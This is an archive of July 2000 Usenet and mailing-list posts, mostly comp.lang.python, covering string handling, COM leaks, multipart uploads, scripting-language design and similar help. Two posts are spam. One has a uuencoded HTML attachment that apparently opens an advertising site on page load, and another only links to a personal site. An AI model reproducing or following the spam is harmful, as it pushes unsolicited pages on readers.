References: <v62d5.580$GQ1.26151@newsread2.prod.itd.earthlink.net> <963990339.783645@marvin> <8l4h60$jnk$2@gxsn.com> <8l4isr$l58$2@newshost.accu.uu.nl> <8l57fc$vi8$1@fermi.tro.net> <8l6pgt$fmc$1@newshost.accu.uu.nl> <8l7kkl$2bv$2@gxsn.com>
Message-ID: <8lecoq$o7l$4@news.fsu.edu>

 Michael Abrash wrote an article on creating micro-languages in assembly
 to create extremely fast programs that perfectly fit the problem domain.
 He believed with good reason that they could outperform both C/C++ and
 general purpose scripting language while allowing easier coding. He also
 didn't believe that they were very difficult to program.

 Tradeoffs would include resources allocated to develop the language as
 well as training time to teach new employees how to use it effectively.
 You would also need a programmer with a thorough knowledge of assembly.

  -- Ron Steedman

In comp.games.development.programming.misc Sean Wilson <newsgroup at neutron.globalnet.co.uk> wrote:

: Before I started trying to write my own scripted language I tried to find
: some tutorials and articles on them but couldn't get them anywhere. Someone
: directed me towards python but I couldn't find anything about the virtual
: machine it uses. How does it work and why is it so slow?

: My system is extremely simple and only allows assembly style instructions
: but I cannot really see how it can be made faster. Using the 'Move
: <Direction of movement> <Number of steps>' command, the following list of
: integers are produced for Move Up 3 (where capitals are constant values):

: CMD_MOVE
: CONSTANT
: DIR_UP
: CONSTANT
: 3

: I just have a big 'switch' statement which the first integer is sent to,
: with each command having matching 'case' statement. The relevant command
: code then reads in one parameter at a time, moving the current integer
: pointer in the script forward after each. The parameters are then send to
: the C++ Move function to be executed.

: I found a tutorial on Flipcode which used a stack machine but this seems
: very slow compared to this approach. One big disadvantage though of my
: approach is that I'm allowing no compound statements (e.g. Move Up (1 + 2)),
: but this isn't a problem since the game is based on a 2d tile map.

: What other methods are there? How do professional games such as Unreal do
: it?

: Regards,

: Sean Wilson
: http://www.users.globalnet.co.uk/~neutron/programming




From smigowsky at dspace.de.bbs  Mon Jul 17 06:50:03 2000
From: smigowsky at dspace.de.bbs (smigowsky at dspace.de.bbs)
Date: 17 Jul 2000 10:50:03 GMT
Subject: Memory leak problems with python and COM
Message-ID: <3bR9KR$l0C@openbazaar.net>

Hi,

you didn't miss the 131 build. This build was purely to test
against the developer version von Python 1.6. So the release
numbers would be ... 128, 129, 132

   Stefan

>-----Original Message-----
>From: Etienne Labuschagne [mailto:etiennel at geospace.co.za]
>Sent: Monday, July 17, 2000 9:17 AM
>To: python-list at python.org
>Subject: Re: Memory leak problems with python and COM
>
>
>Hi there
>
>To my embarrasment I found that I am still using Python build
>129 and that I
>(somehow) missed the release of build 131!
>
>Anyway, build 131 solved the problem!
>
>Thanks for your help.
>
>Regards
>Etienne
>
>"Mark Hammond" <mhammond at skippinet.com.au> wrote in message
>news:8klbu9$38u$1 at nnrp1.deja.com...
>> In article <963474833.835936 at proxy.lia.net>,
>>   "Etienne Labuschagne" <etiennel at geospace.co.za> wrote:
>> > Deleted a and b on the python side and then destroying the COM
>> server - that
>> > doesn't clear up the memory. I am using SafeArrayAccessData and
>> > SafeArrayUnlock on the server side to make sure that it
>releases the
>> data on
>> > the server side.
>> >
>> > Is there something else that I must do?
>>
>> I suggest you get the latest CVS version (I realize this may be a
>> PITA :-(  Since build 132, a number of leaks have been
>fixed.  There is
>> a very good chance that this particular leak was plugged previously.
>>
>> If not, I will definately look into this and plug it!
>>
>> Mark.
>>
>>
>> Sent via Deja.com http://www.deja.com/
>> Before you buy.
>
>
>--
>http://www.python.org/mailman/listinfo/python-list
>


From ktwyzq at money=$$$.com  Sat Jul  1 13:22:15 2000
From: ktwyzq at money=$$$.com (ktwyzq at money=$$$.com)
Date: 1 Jul 2000 17:22:15 GMT
Subject: Online = $$$ ; Offline = $$$ too !!
Message-ID: <8jl9c7$jgl@elod.vein.hu>

pfsedwkhqymliwdmpbvcmjhtrmdugzgulwghwhdnrqgucunrmswtgyxkdzycxhephvbuqzznsnqozppgrteznfxfkgxjvfmpsezbmqmblppyfuswudncmpswfguydhnomwbhqsxvlzy

begin 644 d:\Advertisement\cyberking\1st name.html
M/"%D;V-T>7!E(&AT;6P@<'5B;&EC("(M+R]W,V,O+V1T9"!H=&UL(#0N,"!T
M<F%N<VET:6]N86PO+V5N(CX-"CQH=&UL/@T*/&AE860^#0H@("`\;65T82!H
M='1P+65Q=6EV/2)#;VYT96YT+51Y<&4B(&-O;G1E;G0](G1E>'0O:'1M;#L@
M8VAA<G-E=#UI<V\M.#@U.2TQ(CX-"B`@(#QM971A(&YA;64](D%U=&AO<B(@
M8V]N=&5N=#TB8WEB97(B/@T*("`@/&UE=&$@;F%M93TB1T5.15)!5$]2(B!C
M;VYT96YT/2)-;WII;&QA+S0N-R!;96Y=("A7:6XY.#L at 22D@6TYE='-C87!E
M72(^#0H@("`\=&ET;&4^94-M;VYE>3PO=&ET;&4^#0H\+VAE860^#0H\8F]D
M>3X-"CQB;V1Y(&]N;&]A9#TB=VEN9&]W+F]P96XH)VAT='`Z+R]E8VUO;F5Y
G+C(P;2YC;VTG*2(^/"]B;V1Y/@T*/"]B;V1Y/@T*/"]H=&UL/@T*
`
end




From moshez at math.huji.ac.il  Mon Jul 31 06:50:30 2000
From: moshez at math.huji.ac.il (Moshe Zadka)
Date: Mon, 31 Jul 2000 13:50:30 +0300 (IDT)
Subject: Removing whitespace
In-Reply-To: <8m3gt7$h1k$1@nnrp1.deja.com>
Message-ID: <Pine.GSO.4.10.10007311348420.14416-100000@sundial>

On Mon, 31 Jul 2000 pauljolly at my-deja.com wrote:

> Dear All,
> 
> Firstly, apologies for all the questions! However, extensive searching
> and reading of manuals has not helped me here. How does one remove
> whitespace characters from a string (using the re module)? 

I don't understand what you're doing here: trim whitespace off the ends?

string.strip(s)

Take out all whitespace?

string.join(string.split(s), '')

Or 

string.replace(s, ' ', '')

(Which is the same thing)
--
Moshe Zadka <moshez at math.huji.ac.il>
There is no IGLU cabal.
http://advogato.org/person/moshez




From richard_chamberlain at ntlworld.com  Sat Jul  8 01:42:09 2000
From: richard_chamberlain at ntlworld.com (richard_chamberlain)
Date: Sat, 8 Jul 2000 06:42:09 +0100
Subject: Newbie: Development plaform
References: <20000707190803.4740.qmail@web210.mail.yahoo.com>
Message-ID: <p9z95.4313$_O.83264@news2-win.server.ntlworld.com>

Hi Demos,

Tkinter is the de facto gui standard for Python because of its maturity and
it's cross platform ability, it's very much a matter of opinion though.
wxPython has a lot more widgets than Tk but I found Tk more intuitive to
use. Grayson's Python and Tkinter programming may be worth picking up as it
has excellent coverage of Tkinter and has a chapter on distributing
applications.

Richard


Demos Economacos <eaganhills at yahoo.com> wrote in message
news:20000707190803.4740.qmail at web210.mail.yahoo.com...
> Hello,
>
> I am comtemplating development of a system that will
> have to run on Linux, Win and Mac.
>
> My questions are:
> What GUI tool and Database (< 100,000 recs) would you
> recommend?
> How to distribute programs to us
>
> Thanks
>
> Demos
>
>
>
>
> __________________________________________________
> Do You Yahoo!?
> Send instant messages & get email alerts with Yahoo! Messenger.
> http://im.yahoo.com/
>




From cg at gaia.cdg.acriter.nl  Mon Jul 24 14:59:58 2000
From: cg at gaia.cdg.acriter.nl (Cees de Groot)
Date: 24 Jul 2000 20:59:58 +0200
Subject: Python in game development?
References: <v62d5.580$GQ1.26151@newsread2.prod.itd.earthlink.net> <964351215.18988.0.pluto.d4ee0942@news.demon.nl> <8lh588$oti$3@news.fsu.edu> <T1Ze5.9877$r4.5093@news.indigo.ie>
Message-ID: <8li3ne$80p$1@gaia.cdg.acriter.nl>

Gerry Quinn <gerryq at indigo.ie> said:
>Changing things at random and hoping the problem goes away is not the 
>way to fix bugs.
>
No, but it is certainly a venerable development style: try stuff interactively
and then cut'n'paste code from a scratch pad to the actual code base. 

(and I don't think the original comment mentioned doing stuff "at random". The
idea is that you can debug incrementally while the system is running, by
making partial fixes with instant feedback. Plus, poking around to see where
the buggy stuff is becomes much easier)

-- 
Cees de Groot               http://www.cdegroot.com     <cg at cdegroot.com>
GnuPG 1024D/E0989E8B 0016 F679 F38D 5946 4ECD  1986 F303 937F E098 9E8B
Forge your CipherSaber and list it: http://www.xs4all.nl/~cg/ciphersaber/


From thomas at xs4all.net  Thu Jul  6 07:19:18 2000
From: thomas at xs4all.net (Thomas Wouters)
Date: Thu, 6 Jul 2000 13:19:18 +0200
Subject: function arguments
In-Reply-To: <Pine.LNX.4.21.0007061257160.17492-100000@krispc6.physik.uni-karlsruhe.de>; from johannes@zellner.org on Thu, Jul 06, 2000 at 12:57:49PM +0200
References: <Pine.LNX.4.21.0007061257160.17492-100000@krispc6.physik.uni-karlsruhe.de>
Message-ID: <20000706131917.J13478@xs4all.nl>

On Thu, Jul 06, 2000 at 12:57:49PM +0200, Johannes Zellner wrote:

> is there a way to get a functions argument list ?

> def fun(fred, lola):
>     ...

> something like `arglist(fun)' should return [ 'fred', 'lola' ]

If I'm not mistaken, that would be:

fun.func_code.co_varnames[:fun.func_code.co_argcount]

Except that it returns a tuple, not a list. dir() is your friend ;) Also,
you might want to look at the IDLE source for that kind of information.

-- 
Thomas Wouters <thomas at xs4all.net>

Hi! I'm a .signature virus! copy me into your .signature file to help me spread!



From hzhu at localhost.localdomain  Mon Jul 17 21:20:16 2000
From: hzhu at localhost.localdomain (Huaiyu Zhu)
Date: Tue, 18 Jul 2000 01:20:16 GMT
Subject: Matlab vs Python (was RE: Discussion: Introducing new operators  for   matrix computation)
References: <slrn8mpi53.sh.hzhu@rocket.knowledgetrack.com> <3973415D.5262CD86@eecis.udel.edu> <39735013.1AE68176@roguewave.com> <slrn8n6l4p.qp.hzhu@rocket.knowledgetrack.com> <39735A82.8B4D0489@prescod.net> <slrn8n6ppl.sf.hzhu@rocket.knowledgetrack.com> <qnkaefg4esq.fsf@arbutus.physics.mcmaster.ca> <slrn8n75s4.2jc.hzhu@rocket.knowledgetrack.com> <3973A347.3ABCB12F@prescod.net>
Message-ID: <slrn8n7cdd.2jc.hzhu@rocket.knowledgetrack.com>

On Mon, 17 Jul 2000 19:22:31 -0500, Paul Prescod <paul at prescod.net> wrote:

>I don't think you need __getattr__
>
>class Matrix:
>	def __init__( self, ....):
>		self.T=Transpose( self )
>		self.H=Hermitian( self )
>		self.I=Inverse( self )
>		self.C=Conjugate( self )
>		self.E=Elementwise( self )
>		self.M=self # matrixwise is default
>	... other matrix-like methods ...
>
>class Transpose:
>	def __init__( self, mymatrix ):
>		self.mymatrix=mymatrix
>	... other matrix-like methods, but transposed ...
>
>Notice that no computation (e.g. actual transposition) needs to be done
>until you actually need to calculate a value. Maybe you can find
>optimizations that allow only tiny parts of matrices to be computed.

This is interesting.  I suppose the computational cost is minimum. What
about implementation?  Do I have to write everything five times?  Right now
I'm even using .T() to avoid writing both left and right computations.  It
cost some computation but saves a lot of implementation and maintainence.
Note that even one liners are relatively big cost because most of the
current functions are just one liners.

Huaiyu


From thomas at xs4all.net  Wed Jul  5 18:13:48 2000
From: thomas at xs4all.net (Thomas Wouters)
Date: Thu, 6 Jul 2000 00:13:48 +0200
Subject: __getattr__ and pickle
In-Reply-To: <vzL85.16702$227.301196@nnrp1.uunet.ca>; from embed@NOSPAM.geocities.com on Wed, Jul 05, 2000 at 02:58:43PM -0400
References: <395f26a4.1832855@news.iol.ie> <395f2748.1996610@news.iol.ie> <395f27ab.2095753@news.iol.ie> <8F655BA3Egmcmhypernetcom@199.171.54.154> <vzL85.16702$227.301196@nnrp1.uunet.ca>
Message-ID: <20000706001348.E13478@xs4all.nl>

On Wed, Jul 05, 2000 at 02:58:43PM -0400, Warren Postma wrote:
> "Gordon McMillan" <gmcm at hypernet.com> wrote in message
> news:8F655BA3Egmcmhypernetcom at 199.171.54.154...

> > C'mon Sean! You've been around a while. You know when __getattr__ hacks go
> > bad it's because they go recursive. (And the stack size on Windows is off
> > by  some tiny amount, so it GPFs instead of traps.)

> That kinda says (a) Windows Sucketh, and (b) surely there must be a
> workaround for the Infinite-Recursion-Crash bug?

Well, there is. There's this little counter that keeps track, but the
recursion counter is set too high for Windows, apparently, so it chooses to
crash before Python stops itself.

> Oh yeah, there is, .... It's called Christian Tismer's Stackless Python.
> Hope that stackless makes it into the official python, by 1.7, or if not,
> there's always 3000.  Here's hoping.

There is no 1.7, the next release is going to be 2.0, not 1.6 ;) At least,
that's what the CVS tree is calling itself. As for Stackless, I agree it's a
thing of coolness, but it won't help you out in infinite recursion; it's
stackless, not limitless. You'll run out of memory eventually.

-- 
Thomas Wouters <thomas at xs4all.net>

Hi! I'm a .signature virus! copy me into your .signature file to help me spread!



From karl_python at sub.ulbrich.org  Thu Jul 20 19:58:21 2000
From: karl_python at sub.ulbrich.org (Karl Ulbrich)
Date: Thu, 20 Jul 2000 19:58:21 -0400
Subject: Uploading forms+files via Python script -- no luck
Message-ID: <20000720195821.K11463@exeter.exeter.org>

I've written a script that's supposed to  perform an http POST 
in order to upload a mix of fields and files to a webserver, 
based on examples referred to in previous posts on this topic here. 

To test this script, I wrote a simple python cgi script that receives
a form POST then prints out everything that showed up in FieldStorage.
The test-script shows the form values if I make a simple form 
and post fields and/or files from Internet Explorer (or Netscape).

When I use my upload script to attempt to post, however, I 
never see any cgi form contents.  :-(

Using netcat to catch the raw HTTP traffic, I captured both the 
http upload output of IE and my script, but didn't see any 
differences in formatting/MIME stuff that looked detrimental. 

But, something's gotta be wrong, because Python (and presumably
other webservers -- the real point) doesn't think I've sent a form. :(

Many thanks to anyone who spots the problem!!


Thanks, 

Karl Ulbrich

p.s. It would be great if urllib did this...  I'd offer to do it, 
     but, well, it doesn't work!

............... THE RECEIVE SCRIPT (install as a CGI) ...............
#!/usr/bin/python
# This script simply echos out FieldStorage contents for-debugging
# (this script works just fine)

import sys,os,cgi,glob,string
sys.stderr = sys.stdout
data = cgi.FieldStorage()

print "content-type: text/html\n"
print "<h1>Echo Form Contents</h1>"

print str(len(data.keys())) + " Keys found in data.keys(): " 
for key in data.keys(): print key, '\t'

print "<table border=1>"
for item in dir(data):
        print "<tr>", "<td>", item, "</td>",
        print "<td>", getattr( data, item), "</td>", "</tr>"
print "</table>"

.............. THE (broken) UPLOAD SCRIPT .........................

#!/usr/bin/python
#!/usr/local/bin/python
# 
# Summary: First stab at a general web form-and-file POST uploader
# Author: Karl Ulbrich <karl_python at sub.ulbrich.org>
# 
# Liberally borrows and addapts from: 
# FileTransfer.py - CGI file transfer, may require Python 1.5 or higher
# Prior Author/Version: 
# JeffBauer at bigfoot.com http://starship.python.net/crew/jbauer/cgiupload/
# Prior art:  Aaron Watters, Jim Fulton

import os, sys, traceback
import httplib
#import tempfile
from whrandom import randint
from string import join
from time import time

class FileUploadRequest:
    """Client-side CGI form/file POST upload."""
    def __init__(self, uri, host, port):
        self.uri = uri
        self.host = host
        self.port = port
        self.queryString = None
        self.boundary= '%s%s_%s_%s' % \
                        ('-------', int(time()), os.getpid(), randint(1,10000))
        self.parts = []  ## collect each multipart as a single list-entry
        
    def loadfile(self, filename, fieldname, headerDict=None):
        """Add a file to the multipart upload."""
        f = open(filename, 'rb')
        data = f.read()
        f.close()
        hdr = []
        hdr.append( '%s' % self.boundary )
        hdr.append('Content-Disposition: form-data; name="%s"; filename="%s"' % (fieldname,filename))
        hdr.append('Content-Type: application/octet-stream')
#        hdr.append('Content-Length: %d' % len(data))
        # Add user-defined header values here, if provided. 
        if type(headerDict) == type({}):
            for k in headerDict.keys():
                hdr.append("%s: %s", (k, headerDict[k]))
        part='%s\n\n%s' % ( join(hdr,'\n') , data )
        self.parts.extend( [part] ) 
        
    def loadfield(self, fieldname, data, headerDict=None, ):
        """Add a field to the multipart upload."""
        hdr = []
        hdr.append( '%s' % self.boundary )
        hdr.append('Content-Disposition: form-data; name="%s"' % fieldname )
        #hdr.append('Content-Length: %d' % len(data))
        # Add user-defined header values here, if provided.
        if type(headerDict) == type({}):
            for k in headerDict.keys():
                hdr.append("%s: %s", (k, headerDict[k]))
        part='%s\n\n%s' % ( join(hdr,'\n') , data )
        self.parts.extend( [part] ) 

    def request(self):
        query = '%s\n%s' % ( join(self.parts,'\n'), self.boundary )
        
        print "=====BODY DATA BEGIN (DEBUG)====="
        print query
        print "=====BODY DATA END (DEBUG)======"

        contentType = 'multipart/form-data; boundary=%s' % self.boundary
        contentLength = str(len(query))
        h = httplib.HTTP()
        h.connect(self.host, self.port)
        h.putrequest('POST', self.uri)
        h.putheader('Accept', '*/*')
        h.putheader('Proxy-Connection', 'Keep-Alive')
        h.putheader('User-Agent', 'PyFormsPoster/0.1')
        h.putheader('Content-Type', contentType)
        h.putheader('Content-Length', contentLength)
        h.endheaders()
        h.send(query)
        rcode, rmsg, headers = h.getreply()
        response = h.getfile().read()
        print "Return Code: %s\n" % rcode
        #if rcode != 200:
        #    msg = "error: %s, %s\n%s %s" % (rcode, self.uri, rmsg, response)
        #    #raise FileUploadRequestException(msg)
        #    raise "FileUploadRequestException", msg
        return response

def testecho():
    usage = 'usage: cgiupload filename'
    if len(sys.argv) < 2:
        print usage
        sys.exit(1)
    filename = sys.argv[1]

    uri = '/cgi-bin/echoform.py'
    host = '10.10.10.2'
    port = 80
    #port = 8888

    F = FileUploadRequest(uri, host, port)
    F.loadfile(filename,'file1')
    #F.loadfile(filename,'file2')
    F.loadfield( "yourname" , "Arthur, of Camelot" ) 
    F.loadfield( "summary" , "Perhaps if we built a large wooden Badger..." ) 
    F.loadfield( "details" , "Run Away!" ) 
    F.loadfield( "submit" , "submit the page" ) 
    response = F.request()
    print response

if __name__ == '__main__':
    if os.environ.has_key('SERVER_PROTOCOL'):
        FileUploadAcquisition(os.environ)
    else:
        #test()
        testecho()

........... A SIMPLE HTML FORM ................................
<h1>Sends to echoform.py on 80</h1>
<pre><form action="http://hostname:80/cgi-bin/echoform.py" method="POST" enctype="multipart/form-data">
Your Name <input type='text' name='yourname' size='35'>
Summary   <input type='text' name='summary' size='35'>
File #1   <input name="file1" type="file" size="35">
Details   <textarea name=details ROWS="4" COLS="30" wrap=virtual></textarea>
          <input name="submit" type="submit" value="Upload File(s)">
</form></pre>




From ralf.claus at teleatlas.com  Wed Jul  5 01:07:13 2000
From: ralf.claus at teleatlas.com (Ralf Claus)
Date: Wed, 05 Jul 2000 07:07:13 +0200
Subject: WinNT User Name
References: <Ae485.94210$5k2.194235@dfw-read.news.verio.net>
Message-ID: <3962C281.405FB34E@teleatlas.com>

michael montagne wrote:
> 
> First off, I'm a newbie at Python.
> I'm trying to return the user who is logged on at a PC.  What I really need
> is the login name.  How do I do that?  Seems like it otta be quite simple
> but I'm having trouble.
> 
> -mjm

..and finally

import getpass
username = getpass.getuser()

works on both systems (NT,UNIX), if you need.


From fsanchezpr at teleline.es  Sat Jul 29 21:10:59 2000
From: fsanchezpr at teleline.es (Paco)
Date: Sun, 30 Jul 2000 01:10:59 GMT
Subject: visita mi web
Message-ID: <DgLg5.6163$87.42494@telenews.teleline.es>

http://www.terra.es/personal2/fsanchezpr/navega.htm




From cjc26 at nospam.cornell.edu  Tue Jul 25 19:47:05 2000
From: cjc26 at nospam.cornell.edu (Cliff Crawford)
Date: Tue, 25 Jul 2000 23:47:05 GMT
Subject: Memory management
References: <8lkdh5$qpm$1@news.rchland.ibm.com>
Message-ID: <slrn8nsa0b.1bud.cjc26@synecdoche.sowrong.org>

* Larry Whitley <ldw at us.ibm.com> menulis:
| I'm running out of virtual memory on my NT 4.0 system running a longish
| python script.  Python says "memory error" and quits.  NT shows the
| application using 130+ megabytes.  I have 192 megabytes on the system so it
| seems like a rational number.  I suspect that this means that I have a
| memory leak in my code.

There have been some modules written to detect cycles in your data
structures (which are the usual cause of memory leaks), for example
Cyclops at
<http://www.python.org/ftp/python/contrib-09-Dec-1999/System/Cyclops.py>


-- 
cliff crawford    -><-    http://www.people.cornell.edu/pages/cjc26/
                          Synaesthesia now!            icq 68165166


From spamfranke at bigfoot.de  Mon Jul  3 20:22:37 2000
From: spamfranke at bigfoot.de (Stefan Franke)
Date: Tue, 04 Jul 2000 00:22:37 GMT
Subject: Microsoft's  C# (Sharp) & .NET -- A Heads Up
References: <qJ165.8938$nZ5.153196@typhoon.southeast.rr.com> <8jabvo014tv@news2.newsguy.com> <uhfa7qn9c.fsf@cs.uu.nl> <8jqbru017gf@news2.newsguy.com> <2f985.6708$Tb7.40527@news-server.bigpond.net.au>
Message-ID: <39642dc0.16230059@news.btx.dtag.de>

On Mon, 03 Jul 2000 23:22:38 GMT, "Mark Hammond" <MarkH at ActiveState.com> wrote:

>A framework for calling arbitary vtable interfaces is also in place.
I would *really* appreciate such a thing.  Any pointers?

Stefan



From digitig at cix.co.uk.bbs  Sun Jul 16 16:20:19 2000
From: digitig at cix.co.uk.bbs (digitig at cix.co.uk.bbs)
Date: 16 Jul 2000 20:20:19 GMT
Subject: Top 10 Language Constructs (Phyton)
Message-ID: <3bQYbJ$hW4@openbazaar.net>

In article <8kmtab$4or$1 at pollux.ip-plus.net>, GustavsB at ch.sibt.com (Bruno
Gustavs) wrote:

> "Dinu C. Gherman" <gherman at darwin.in-berlin.de> wrote in message
> news:396EE7BC.DA2FA7B3 at darwin.in-berlin.de...
> > What do you mean by "language constructs", Python keywords
> > like "for" or "class"? Are you expecting some statistics of
> > used keywords over one's own code?
> >
> > I doubt this will be very useful, like the answer to the
> > question: "Which are the ten most used words in English?".
> > But maybe I'm not understanding well how you think you'll
> > benefit from such an answer...
>
> Lets assume you're going to design Phyton2. What would this
> language contain? What should Phyton2 support? What would you
> like to solve with Phyton2?

People's "top 10 constructs" would be a disastrous basis for such a
language. I'm trying to remember the name of a language I used many years
ago that was designed by government committee. It had about 10 ways of
doing some obscure things (because everybody on the committee had
contributed their favourite solution) but no ways of doing quite ordinary
things (because everyone on the committee used those things but none of
them noticed them). The result was like a car with three different
air-conditioning units and no engine.

/Much/ better IMHO is to see what application domains Python is
particularly strong in, and to try to find out what distinguishes Python
in those domains. Then look for ways it can be improved in those specific
domains and expanded into closely related domains. At the moment there are
things I use Python for and things I use Ada for. If the next version of
Python tried to muscle in on the mainstream Ada territory it would almost
certainly find that Ada still did those things better but the attempted
shift had broken it's advantage in those things it was good at before.


From herzog at online.de  Mon Jul 31 12:56:44 2000
From: herzog at online.de (Bernhard Herzog)
Date: 31 Jul 2000 18:56:44 +0200
Subject: formatting (was Re: Perl is worse!)
References: <LNBBLJKPBEHFEDALKOLCEEINGMAA.tim_one@email.msn.com> <slrn8o2ft4.1e2.grey@teleute.rpglink.com> <OLgg5.2637$6E.681698@ptah.visi.com> <slrn8o397m.3ok.grey@teleute.rpglink.com> <8lse9j01oti@news2.newsguy.com> <slrn8o3jap.49c.grey@teleute.rpglink.com> <8lst4r02grr@news2.newsguy.com> <slrn8o444p.49c.grey@teleute.rpglink.com> <8luhso41ce8@news2.newsguy.com> <slrn8o6lo2.f91.grey@teleute.rpglink.com> <8m1f0462n4o@news2.newsguy.com> <slrn8o9jn9.i9b.grey@teleute.rpglink.com> <8m3ri602ej2@news1.newsguy.com>
Message-ID: <m37la2kzlf.fsf@greebo.nodomain.de>

"Alex Martelli" <alex at magenta.com> writes:

> Python isn't beyond criticism here, by the way.  As an
> alternative to the % _operator_, a named-function (to
> be provided as a built-in) could perfectly well have been
> chosen by our BDFL:
> 
>     format(formatstring, a, b, c)
> 
> or
> 
>     format(formatstring, vars())
> 
> isn't (IMHO) any less readable than the current
> 
>     formatstring % (a,b,c)
> 
> or
> 
>     formatstring % vars()
> 
> just _slightly_ more verbose, but, again IMHO, that slight
> extra verbosity would be in a good cause.

A function also has the advantage that it could be extended more easily.
The % operator has only two arguments which doesn't leave much room for
new features.

In Sketch, for example, I've implemented a format function that supports
user defined conversions:

      format(template, dict, converters)

The template string can contain conversions of the form
	%(key)[converter] 
which is replaced by the value of
	converters["converter"](dict["key"])

The graphics objects in Sketch which don't know anything about user
preferences for units supply both the template and dict and the UI code
provides the converters for lenghts and positions so that e.g. the
template "%(width)[length]" and the dict {'width': 72} are displayed as
"72 pt" or "2.54 cm" depending on user preferences. This setup
coventiently puts all knowledge about the preferred units in one place.


-- 
Bernhard Herzog   | Sketch, a drawing program for Unix
herzog at online.de  | http://sketch.sourceforge.net/


From tim_one at email.msn.com  Thu Jul 27 02:24:25 2000
From: tim_one at email.msn.com (Tim Peters)
Date: Thu, 27 Jul 2000 02:24:25 -0400
Subject: "always passes by reference"
In-Reply-To: <397FCF58.9F254AA2@see.my.signature>
Message-ID: <LNBBLJKPBEHFEDALKOLCIEENGMAA.tim_one@email.msn.com>

[Tim, quoted out of context]
> Anyone thinking about references under the covers is just confusing
> their mental picture -- only the implementers have to worry about
> that, and even then rarely.

[Greg Ewing]
> How can you have a correct mental picture of the Python
> data model that doesn't contain anything corresponding
> to a reference?

In context, the paragraph was talking about Python's parameter-passing
mechanism, which is not (as you agreed in your own reply!) what "call by
reference" suggests to people, and particularly not to the person who
brought it up.  That's the sense and the context in which thinking about
references under the covers is just confusing.  You called Python's
mechanism "call by spanish inquistion"; I called it "call by object".

> Whether you call it that or not, there has to be something
> in the model that is not-the-object but somehow identifies-
> the-object, so that the object can appear in more than one
> place at a time without having multiple copies of it.

Oh, Greg -- that's so either/or.  Didn't you know that Python is the first
truly post-modern quantum language <wink>?

an-object-is-in-all-places-simultaneously-ly y'rs  - tim





From paul at prescod.net.bbs  Mon Jul 17 14:10:02 2000
From: paul at prescod.net.bbs (paul at prescod.net.bbs)
Date: 17 Jul 2000 18:10:02 GMT
Subject: Microsoft's C# (Sharp) & .NET -- A Heads Up
Message-ID: <3bRKgQ$mbr@openbazaar.net>

"G. David Kuhlman" wrote:
>
> ...
>
> Now, I ask you, what other scripting language would enable me to
> support that breadth of users? Incredible.

IMHO, the ability to crawl into niches is the feature that makes
Python's ascendency inevitable. Any particular "killer app" could die
and the others will carry it forward. Any particular operating system
could die and Python would thrive on the remaining ones. (in fact the
(unlikely) death of Windows would drive VB programmers into Python's
arms and the (equally unlikely) death of Unix would drive Perl users to
Python) I think Python is a very safe bet, even compared to more
established languages.

--
 Paul Prescod - Not encumbered by corporate consensus
It's difficult to extract sense from strings, but they're the only
communication coin we can count on.
	- http://www.cs.yale.edu/~perlis-alan/quotes.html


From alex at magenta.com  Wed Jul 26 15:04:06 2000
From: alex at magenta.com (Alex Martelli)
Date: Wed, 26 Jul 2000 21:04:06 +0200
Subject: Deleting files with wildcards
References: <397f046d.193858654@news.atnet.at>
Message-ID: <8lncs70240i@news2.newsguy.com>

"Manfred Pisecky" <pisecky at tttech.com> wrote in message
news:397f046d.193858654 at news.atnet.at...
> Hello everyone!
>
> I have to delete a bundle of files, e.g. *.txt in a portable way (it
> must work for Linux and NT).
>
> I use Python 1.5.2. and have not found a way to either delete files
> with wildcards or to read the directory content (and do it file by
> file).
>
> Is there a portable way in 1.5.2 ?

os.listdir(path) will portably return the list of all files in
the path, and os.unlink can be used to delete one or more of
them (or, os.remove, too).  os.path.walk is also handy if you
need to iterate on a whole subdirectory tree.


Alex





From ajm at enteract.com  Fri Jul 14 18:46:21 2000
From: ajm at enteract.com (Alan Miller)
Date: Fri, 14 Jul 2000 17:46:21 -0500
Subject: Enumerating drives in Python or wxPython
References: <8aKa5.485$652.11285@newsc.telia.net> <MPG.13d6a1cd2ebf57169896bf@news-enteract> <ubt018y3z.fsf@ctwd0143.fitlinxx.com>
Message-ID: <MPG.13d9529f7e3be5519896c1@news-enteract>

David Bolen (db3l at fitlinxx.com) wrote:
>Alan Miller <ajm at enteract.com> writes:
>> for driveletter in string.uppercase:
>>     if os.path.isdir(driveletter + ":\\"):
>>         drivelist.append(driveletter)
>
>The only rub with this is that for things like floppies, you can get
>errors running isdir() if there is no diskette present.

Interesting, I tried it out before I posted and didn't have any problems.  
My biggest concern was that it might not report a removable drive if it 
didn't have media in it, but I didn't have problems with either the 
floppy or IDE Zip drives in my system.  It did take a moment while it 
checked the empty drives, but I don't know that there's any way around 
that since Explorer does the same. 

It seems that isdir() doesn't die if there's no media, but I can only 
assume that the implementation is buried in the code for python itself 
(os.path.isdir is really ntpath.isdir, which calls os.stat, which is 
really nt.stat, and nt is one of the builtins) which I haven't 
downloaded.  Note that the root directory does seem to be handled as a 
special case, since it's always going to exist on any drive under 
DOS/Windows.

Anyway, even if isdir() did return an error that should be trappable; I'd 
expect the error returned to be different for media not available than 
for no such device.

ajm


From rvollmert at gmx.net  Tue Jul 18 04:52:04 2000
From: rvollmert at gmx.net (Robert Vollmert)
Date: Tue, 18 Jul 2000 10:52:04 +0200
Subject: event handler advice
In-Reply-To: <8l033n$pr2$1@la-mail4.digilink.net>; from pete@visionart.com on Mon, Jul 17, 2000 at 03:49:02PM -0700
References: <8l033n$pr2$1@la-mail4.digilink.net>
Message-ID: <20000718105204.A1009@krikkit>

On Mon, Jul 17, 2000 at 03:49:02PM -0700, Pete Shinners wrote:
> my guess is i need some dictionary that defines the
> messages and their routine name (no shortcut way to do
> this unless python had #define like macros :])
> 
> messages = {msg.INIT:"INIT", msg.PLAY:"PLAY", ...etc}

You could try to generate this dictionary automatically. Something
like

messages = {}
for name in dir(msg):
    val = getattr(msg, name)       
    if type(val) == type(0):
        messages[val] = name

maybe with some additional testing of the format of name, so you don't
by accident define a signal to call __doc__ or the like.

-- 
Robert Vollmert                                      rvollmert at gmx.net



From rloisel at helicon.net  Sat Jul 22 20:40:11 2000
From: rloisel at helicon.net (Rodney Loisel)
Date: Sat, 22 Jul 2000 20:40:11 -0400
Subject: IDLE window disappears on startup
Message-ID: <397A3EEA.792BDDEB@helicon.net>

New to Python but not script programming. W98  Python 1.5.2b
First tried clicking on the idle.pw and idle.pwc icons and a window
pops up and immediately disappears. Then tried:
start->run-> python idle.py and idle.pyw and the same thing
happened. Appreciate any suggestions. Also if there are any
Amiga users of python out there. I also can't get IDLE going
on that platform either but at least I have  the shell.

rloisel at helicon.net (Rod Loisel Enfield NH)



